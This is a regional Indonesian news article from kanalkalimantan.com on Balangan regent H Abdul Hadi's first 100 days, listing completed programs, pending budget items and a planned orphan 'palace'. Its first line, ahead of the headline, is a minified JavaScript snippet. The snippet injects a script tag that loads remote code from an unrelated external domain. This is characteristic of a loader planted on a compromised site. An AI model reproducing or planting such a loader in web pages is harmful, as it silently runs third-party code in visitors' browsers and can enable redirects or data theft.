(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

100 Hari Kerja, Ini Komentar Bupati Balangan H Abdul Hadi

KANALKALIMANTAN.COM, PARINGIN – Roda pemerintahan Kabupaten Balangan di bawah kepemimpinan Bupati H Abdul Hadi dan Wakil Bupati H Supiani kini sudah menginjak 100 hari kerja pada 8 Juni 2021, sejak keduanya dilantik pada Jum’at 26 Februari 2021.

H Abdul Hadi menyebut, dari program kerja yang digagas, semua sudah terlaksana, namun diantaranya masih ada yang menunggu dana dari APBD Perubahan tahun anggaran 2021.

Memasuki 100 hari kerja, pasangan yang akrab dengan sebutan HAS terus komitmen untuk menjalankan program kerja yang sudah dijanjikan sesuai dengan visi misi, menata kota membangun desa untuk masyarakat Balangan yang sejahtera.

Ia menyebut dari 10 program yang menjadi fokus pemimpin wilayah berjuluk Bumi Sanggam tersebut program kerja yang digagas, semua sudah terlaksana selama 100 hari.

Ada yang rampung 100 persen, ada pula yang tinggal menunggu dana dari APBD Perubahan tahun anggaran 2021. Adapun program yang masih menunggu anggaran tersebut yakni perihal pemberian dana insentif untuk para guru.

Selain itu kartu Balangan Pintar bagi anak tidak mampu yang dananya juga menunggu APBD Perubahan.

Ia menerangkan, 90 persen program tersebut sudah dilaksanakan. Adapun yang 100 persen yakni perihal perampingan SKPD di Kabupaten Balangan, sehingga nantinya saat APBD Perubahan 2021 disahkan, pemanfaatannya pun sudah pada SKPD baru.

Kemudian pencanangan pembangunan istana anak yatim yang sudah dilakukan. Dimana rencananya, keberadaan istana anak yatim ini akan memugar bangunan Dinas Perpustakaan. “Kami akan anggarkan pada APBD perubahan untuk mendesain ulang Kantor Dinas Perpustakaan untuk menjadi Istana Anak Yatim,” ucap Abdul Hadi.

Apalagi, ke depan para perampingan SKPD, Dinas Perpustakaan akan bergabung dengan Dinas Kearsipan Kabupaten Balangan.

Abdul Hadi menyebut, pihaknya akan menyiapkan anggaran Rp 2,2 miliar pada tahap pertama desain ulang. Program prioritas yang juga telah dicapai 100 persen yakni adanya kebijakan belanja kantor di wilayah Kabupaten Balangan.

Kemudian mencanangkan dan menekankan perubahan pola pikir ASN yang tinggal melakukan monitoring terhadap kinerja mereka.

Tak kalah penting adalah program layanan kesehatan melalui BPJS yang kini dipermudah menggunakan KTP dan kartu keluarga. Begitu pula program tentang meningkatkan potensi pariwisata serta menggali sumber PAD yang berpotensi dan memiliki nilai strategis.

Mengingat semua program kerja yang sudah berjalan dan yang akan dilaksanakan kedepannya, Abdul Hadi pun berharap adanya sinergitas semua stakeholder untuk percepatan pembangunan di Balangan. (kanalkalimantan.com/alfi)

Reporter: alfi
Editor: kk